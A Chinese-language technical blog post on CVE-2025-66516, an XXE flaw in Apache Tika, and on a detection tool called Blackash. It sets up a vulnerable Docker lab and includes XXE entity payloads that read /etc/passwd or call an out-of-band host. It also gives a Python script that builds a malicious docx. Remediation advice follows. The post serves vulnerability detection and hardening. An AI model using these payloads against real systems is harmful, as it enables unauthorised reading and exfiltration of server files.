前阵子拿到一个新披露的编号,CVE-2025-66516,直指Apache Tika核心解析链路里的XXE问题。Tika这个库很多团队都在用,尤其是做文件内容提取、文档解析中台、搜索索引预处理这类场景,但它“低版本高危、高版本低危”的毛病一直不少。这次爆出来的问题出在Tika对XML类文档的内部解析上,攻击者只需要想办法让Tika解析一个精心构造的Office文档或者XML文件,就能触发外部实体加载,轻则读取服务器本地文件,重则配合外带通道把数据带出去。
Blackash就是围绕这个漏洞写的检测工具。它的定位很纯粹:不用你在Burp里手工构造请求、反复调参,一条命令就能判断目标Tika服务是否存在XXE风险,顺带验证能否实际读到文件。这篇文章我按自己的实操顺序来写,从漏洞原理讲到工具落地,最后附上排查经验和修复建议。不管你是安全工程师、运维,还是刚好被分到这个组件维护的研发,应该都能从中拿到可用的东西。
1. 先搞懂CVE-2025-66516到底打在哪
1.1 XXE漏洞的本质:解析器信任了不该信的东西
XXE全称是XML External Entity,也就是XML外部实体注入。理解它之前,先回忆一下XML里的实体是什么。实体就像一种变量声明,在DTD(文档类型定义)里定义,在XML文档中通过&实体名;来引用。比如:
<!DOCTYPE foo [ <!ENTITY xxe "hello world"> ]> <root>&xxe;</root>解析这个XML时,&xxe;会被替换成“hello world”。这本身没毛病,问题是XML规范还允许实体指向一个外部资源,包括本地文件路径和远程URL:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>如果解析器照单全收,&xxe;就会变成/etc/passwd的内容。攻击者能控制XML内容,解析器又愿意加载外部实体,那就等于把服务器文件系统打开了一个口子。
它跟其他漏洞不太一样的地方在于,问题不在业务代码,而在底层解析库的默认配置。很多语言内置的XML解析器为了兼容历史行为,默认允许加载外部实体。业务代码只是调用了parse(),但实际上整个读取过程已经被攻击者劫持了。拿二维码来类比,你扫了一个二维码,本以为是加好友,结果它跳转到了一串配置文件读取请求。二维码没问题,扫码枪也没问题,问题是扫码策略太宽松。
XXE的危害程度取决于两个因素:一是解析结果有没有回显,有回显直接读文件就行;二是没有回显时,能不能通过外部请求把数据带出来,这就要靠外带通道(OOB)了。CVE-2025-66516能引起关注,主要是因为它同时覆盖了这两种利用场景。
1.2 Apache Tika为什么栽在XXE上
Apache Tika是一个内容解析工具包,它的核心能力是“给我一个文件,我告诉你是谁、里面有什么”。它能识别上千种格式,从PDF、Word、Excel到图片元数据,然后统一抽取成纯文本。很多内容中台、全文检索系统、在线文档预览服务都在用Tika做底层解析。
Tika的解析流程大致是:先做类型检测(Detector),识别文件真实格式,然后根据格式选择对应的Parser(解析器),最后把解析结果交给上层。这条链路本身设计得很优雅,问题出在解析器对XML派生物的信任上。
Office 2007之后的文件格式(.docx、.xlsx、.pptx)本质是ZIP压缩包,里面塞了一堆XML文件。Tika解析这些格式时,不可避免要经过XML解析这一环。如果某条解析路径上使用的XML解析器开启了外部实体解析,那么攻击者构造一个恶意XML塞进docx里,Tika就会中招。CVE-2025-66516核心问题就在这里:Tika在解析某些XML类文档分支时,对外部实体的处理策略不够严格,导致攻击者构造的恶意文件能被解析器处理。
这比直接传一个恶意XML文件隐蔽得多。现实业务里,绝大多数上传接口是允许传docx、xlsx的,很多安全设备也只盯着可执行文件或常见脚本后缀,一个表面正常的Office文档很容易穿透过滤。这也是CVE-2025-66516能引起我注意的原因:它的触发入口太日常了。
2. Blackash工具的设计思路
2.1 为什么不用现成扫描器,非要写专用工具
看到一个新漏洞,第一反应是找现成工具。我试过用一些通用XXE检测脚本去碰Tika,效果不太理想,问题主要出在三个方面:
- 通用脚本大多直接发送XML payload,但Tika实际处理的是ZIP容器内的XML,绕了一层,很多脚本根本没把恶意XML打包进Office文件。
- 部分脚本只检测有没有400/500报错,可Tika解析失败返回的异常信息跟XXE触发后的表现很难区分,误报率极高。
- 现成工具很难覆盖新的CVE细节,比如Tika某个特定格式的解析路径触发的行为差异。
Blackash之所以值得用,是因为它针对CVE-2025-66516做了定制:用例生成、请求发送、外带接收、结果判定,一条龙完成。尤其是恶意样本生成这块,它直接在工具内部完成docx文件的构造和打包,你不用自己去翻规范拼XML。
2.2 核心检测流程
Blackash的检测思路可以拆成两条线:
一条是兼容性探测。先发一个不含恶意行为的普通解析请求,确认目标Tika服务确实在线、确实能正常解析文件。这一步决定了后续结果可不可信,如果目标服务本身解析就报错,后面检测结果没法参考。
另一条是利用探测。工具生成包含外部实体声明的恶意文件,然后根据配置选择检测方式:
- 回显模式:在XML里引用
file:///etc/passwd(或Windows下的C:\Windows\win.ini),然后把解析返回内容跟已知文件特征做匹配。匹配上了,就是实锤。 - 外带模式(OOB):在XML里引用
http://your-server/xxe-test,同时工具自带一个轻量HTTP接收端,只要目标服务器发起请求,接收端记下请求日志,就证明外部实体加载生效了。
工具整体用Python 3.8+开发,依赖库很少,核心就是requests、flask(用来起接收端)、python-docx(用来生成Office测试样本)。目录结构也简单,核心模块就三个:一个负责生成payload样本,一个负责请求调度和结果比对,一个负责起外带接收服务。交互上全部走命令行参数,方便脚本化批量跑,也方便集成到CI流水线里。
3. 落地实操:用Blackash做一次完整检测
3.1 搭建本地漏洞环境
没有靶场,一切检测都是空谈。我在本地用Docker起了一个Tika服务,版本选择了受影响的2.x系列。启动命令很简单:
docker run -d -p 9998:9998 --name tika-vul apache/tika:2.9.0Tika的默认服务端口是9998,暴露到宿主机方便访问。启动后用/version接口确认服务状态:
curl http://127.0.0.1:9998/version如果返回版本号,说明Tika正常起来了。再写一个最简单的解析请求,确认文件上传解析链路没毛病:
echo "test content" > test.txt curl -X PUT --upload-file test.txt http://127.0.0.1:9998/tika返回“test content”就说明解析服务在正常工作。
3.2 手动构造一个带XXE的docx样本
工具本身会自己生成恶意样本,但理解样本的结构会让你更好地判断检测结果。docx文件本质上是一个ZIP包,里面包含word/document.xml这样的核心XML文件。制造恶意docx的办法很简单:正常生成一个docx,然后解包,往word/document.xml的XML声明后面塞DTD,再重新打包。
我用Python脚本完成整个流程:
import zipfile import shutil import os src_docx = "normal.docx" out_docx = "malicious.docx" # 第一步:解压原docx extract_dir = "docx_extracted" if os.path.exists(extract_dir): shutil.rmtree(extract_dir) os.makedirs(extract_dir) with zipfile.ZipFile(src_docx) as zf: zf.extractall(extract_dir) document_path = os.path.join(extract_dir, "word", "document.xml") with open(document_path, "r", encoding="utf-8") as f: content = f.read() # 第二步:注入XXE payload payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE document [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> ''' # 把原始XML声明替换成带DTD声明的版本 if content.startswith("<?xml"): # 去掉原有声明 content = content.split("?>", 1)[1] content = payload + content else: content = payload + content with open(document_path, "w", encoding="utf-8") as f: f.write(content) # 第三步:重新打包成docx with zipfile.ZipFile(out_docx, "w", zipfile.ZIP_DEFLATED) as zf: for root_dir, _, files in os.walk(extract_dir): for file in files: full_path = os.path.join(root_dir, file) rel_path = os.path.relpath(full_path, extract_dir) zf.write(full_path, rel_path) print(f"[*] 恶意样本已生成: {out_docx}")关键点在于,重新打包时ZIP条目名必须使用相对路径,不能带绝对路径,否则Word或Tika会把它当成非法文件拒绝解析。我第一次写打包逻辑时偷懒直接用了绝对路径,结果样本发出去Tika直接报了“not a valid office document”。
3.3 执行Blackash检测命令
环境就绪,开始跑工具。以最常见的两个场景为例。
场景一:仅确认是否存在XXE风险。用外带检测模式,先在本机起接收端,再让目标Tika解析恶意文件:
python3 blackash.py --url http://127.0.0.1:9998/tika \ --mode oob \ --listen 0.0.0.0 \ --port 8080 \ --file-type docx命令逻辑是让工具向目标Tika发送一个恶意docx,其中XML实体指向http://your-server-ip:8080/oob-test。如果Tika存在XXE漏洞,它解析docx时就会向接收端发起HTTP请求。终端里会实时打出接收日志,只要看到访问记录出现,基本就是漏洞实锤了。
场景二:确认能否读取本地文件,用回显模式:
python3 blackash.py --url http://127.0.0.1:9998/tika \ --mode echo \ --read-file /etc/passwd工具返回内容里如果包含root:x:0:0:这类特征串,就说明不仅存在XXE,而且还能直接读到服务器系统文件。这种情况下风险级别已经不是“疑似”了,而是“可被直接利用”。
3.4 检测结果的判定标准
很多人在这一步容易踩坑:Tika返回了一段大文本,里面有各种乱码和元信息,怎么判断到底有没有读到文件?
我的经验是分三步走:
- 先看状态码。正常情况下Tika解析成功会返回200,如果返回500或422,说明文件被解析器拒绝,这种情况要看具体错误信息,不能直接认定是漏洞。
- 再看返回内容中是否包含目标文件特征。比如读
/etc/passwd,出现root:开头的行就是命中;读Windows的C:\Windows\win.ini,出现[fonts]就是命中。 - 最后看响应时间。XXE触发后通常伴随便秘的文件读取或外部请求,响应时间会比正常文件慢不少,可以作为辅助判断维度。
Blackash的结果输出会把这三类信息合并展示:状态码、命中特征、响应耗时。看到“200 + 命中特征 + 响应时间异常”,基本可以写报告了。
4. 常见问题与排查技巧实录
4.1 误报是怎么产生的
用Blackash检测时最容易遇到的一种误报场景是:工具返回“OOB请求已收到”,但实际上这个请求不是Tika发出的,而是某个中间环节的缓存代理提前拉取了资源。我在一次内网检测中就遇过这种鬼情况,排查了半天才发现是内网的一台Web缓存服务器把恶意URL抢先访问了一遍,导致接收端收到了请求,但来源IP完全不对。
解决办法是,OOB回调地址里带上唯一标记,比如http://your-server:8080/unique-token-12345。接收端对比回调URL里的token和当前检测任务下发的token是否一致,一致才算有效命中。Blackash默认就是这么设计的,但如果你自己写脚本做验证,一定要加上这个机制。
还有一个容易误判的场景:回显模式匹配特征过于宽泛。比如你搜root,恰好Tika返回的元数据里包含“root”这个词,就会误判为XXE成功。推荐用更精确的文件指纹做匹配,/etc/passwd就匹配root:x:0:0这种带UID格式的串,而不是只匹配root。
4.2 为什么能外带请求,但读不到文件内容
实际检测中经常出现拿不到数据的情况:外部请求成功发出,说明XXE确实触发了,但读不到文件内容。这个问题通常出在两个方面。
第一,file://协议在目标Java环境中受到安全策略限制。Tika本身跑在JVM里,JDK对file://协议访问本地文件有一套权限控制,某些部署环境下会直接拒绝,但拒绝行为并不影响HTTP外部实体请求的发出。这也就解释了为什么OOB成功但文件读取失败。
第二,Windows环境下文件路径格式跟Linux不同,默认payload里写的是/etc/passwd,放到Windows服务器上当然读不到东西。遇到这种情况,换用file:///C:/Windows/win.ini再试一次,往往就有结果了。碰到Windows目标时最好把两种路径都测一遍。
4.3 修复建议:不要只升版本,还要改配置
CVE-2025-66516的官方修复策略是升级到修复版本。Tika这类基础组件一旦出安全问题,影响面通常很广,所以第一时间升级补丁是必须动作。但这里我要多说两句:不要以为升完版本就万事大吉。
Tika大量功能依赖底层解析库,单单升Tika版本可能会引入兼容性问题。最佳实践是把升级拆成两步走:
- 先在测试环境把Tika升级到修复版本,跑一遍自己的文档解析回归用例,重点关注Office文档和PDF解析是否正常。
- 上线前对Tika做一次配置加固,在XML解析器工厂层面禁止外部实体解析。比如在Tika的自定义ParserConfig里,加上安全解析器的初始化逻辑,把
http://apache.org/xml/features/disallow-doctype-decl设为true,同时关闭external-general-entities和external-parameter-entities特性。
如果团队没有Java定制能力,退而求其次的做法是把Tika部署在内网,外部上传的文件先经过格式校验和杀毒,再用Tika解析,缩小暴露面。这些措施治标但有效,在补丁完全覆盖前至少能压住风险。
5. 检测方案横向对比:Blackash、手工测试与通用扫描器
为了更直观地说明Blackash的定位,我整理了一张工具对比表,都是实际用过的方案:
| 对比维度 | Blackash | 手工Burp测试 | 通用XXE扫描器 |
|---|---|---|---|
| 恶意样本生成 | 内置,一键生成docx/xlsx等 | 需要自己解包、改XML、重新打包 | 大多仅支持直接发送XML,不支持Office封装 |
| OOB接收端 | 内置 | 需要自己起nc或HTTP服务 | 部分支持,但配置繁琐 |
| 漏洞特征匹配 | 针对Tika返回结构优化 | 靠人眼识别 | 通用规则,误报率高 |
| 批量检测能力 | 支持URL列表批量跑 | 基本不支持 | 部分支持 |
| 上手门槛 | 命令行,10分钟上手 | 门槛高,需要理解Tika内部结构 | 中等,但针对性差 |
从表格能看出,Blackash最大优势是针对性。它不是为了检测“所有XXE”而存在,而是为了检测“CVE-2025-66516在Apache Tika上的表现”而存在。如果你所在公司刚好用了Tika,这套工具的价值就很直接:扫描速度快,结果判定标准统一,报告可以直接拿去做漏洞复核。
但我也要说清楚它的局限。专有工具必然没有通用扫描器覆盖面广,它只覆盖Tika相关场景。如果你的业务里还有其他XML解析组件,比如自研的文件上传服务、第三方CMS的XML导入功能,那Blackash帮不上忙,还是得用通用方案排查一遍。
5.1 实际业务场景里怎么选
结合几种常见场景,我给出自己的选型建议:
场景一:公司用的是Spring Boot + Tika搭建的内容解析服务。这种情况直接把Blackash跑进CI流水线,每次Tika依赖升级后自动触发一轮检测,能极大降低回归风险。
场景二:安全团队在做季度漏洞扫描。建议把Blackash结果作为专项漏洞证据附在报告里,再配合通用扫描器覆盖其他组件,两套结果合在一起才完整。
场景三:个人研究学习,想理解XXE利用原理。Blackash适合做验证工具,但建议还是自己手工构造一次恶意样本,这样对docx结构和XML实体机制的理解会更透彻。
5.2 工具还能怎么扩展
Blackash本身是个命令行工具,但它的检测能力可以很方便地嵌入其他流程。我改造过一个内部版本,把检测逻辑封装成HTTP接口,放在内网安全平台上,任何业务团队都可以通过简单的POST请求发起一次Tika专项检测。核心改动就是把异常处理和结果序列化做得更规范一些,其他逻辑基本不用动。
另外,工具生成的恶意样本其实也可以用在防御侧的验证上,比如验证WAF对docx类型上传的检测能力。把Blackash生成的样本丢给WAF,看它能不能识别出XML实体注入特征,这等于把一个进攻工具拿来当防守测试的数据生成器用。
6. 我踩过的一些坑,最后分享一下
写这篇文章时我又把Blackash在几种环境里完整跑了一遍,重新体会了一遍那些年踩过的坑。
最折腾的是docx重新打包的兼容性问题。Office文档对ZIP条目顺序和[Content_Types].xml有严格限制,手工打包稍微不注意就会导致Tika直接报错。如果你是用Blackash倒是没这个问题,它内部处理好了。但如果想自己写脚本做验证,务必记住:解压后不要改[Content_Types].xml,重新打包时保持原有目录结构,不要在ZIP里添加多余层级。
另一个体会是,Tika服务在Windows和Linux上跑,解析同一份恶意样本的表现可能不一样。跟Tika本身没关系,跟JVM版本和操作系统对文件路径的权限策略有关系。检测时务必要在跟生产环境一致的操作系统上验证,否则可能出现测试环境验证通过、生产环境不触发,或者反过来生产环境能读到东西而测试环境读不到的偏差。
最后,工具永远只是辅助,理解漏洞原理才是根本。CVE-2025-66516这类问题,本质上是“信任边界”没守住。代码里的信任边界一旦模糊,攻击者就有机会把数据从服务器内部带出来。做检测的人多一层思考,写代码的人多一分警惕,这套系统才能更结实一些。